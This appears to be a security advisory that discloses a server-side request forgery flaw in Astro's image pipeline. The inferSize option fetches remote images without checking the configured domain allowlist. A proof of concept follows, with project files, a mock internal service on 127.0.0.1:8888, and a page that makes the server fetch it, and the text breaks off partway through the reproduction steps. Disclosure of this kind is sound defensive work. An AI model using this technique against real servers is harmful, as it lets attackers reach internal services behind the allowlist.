Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC

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Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs — only localhost:9000 is authorized:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});

internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):

import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));

src/pages/test.astro:

---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>

Steps to reproduce

1. Run and start the internal service:

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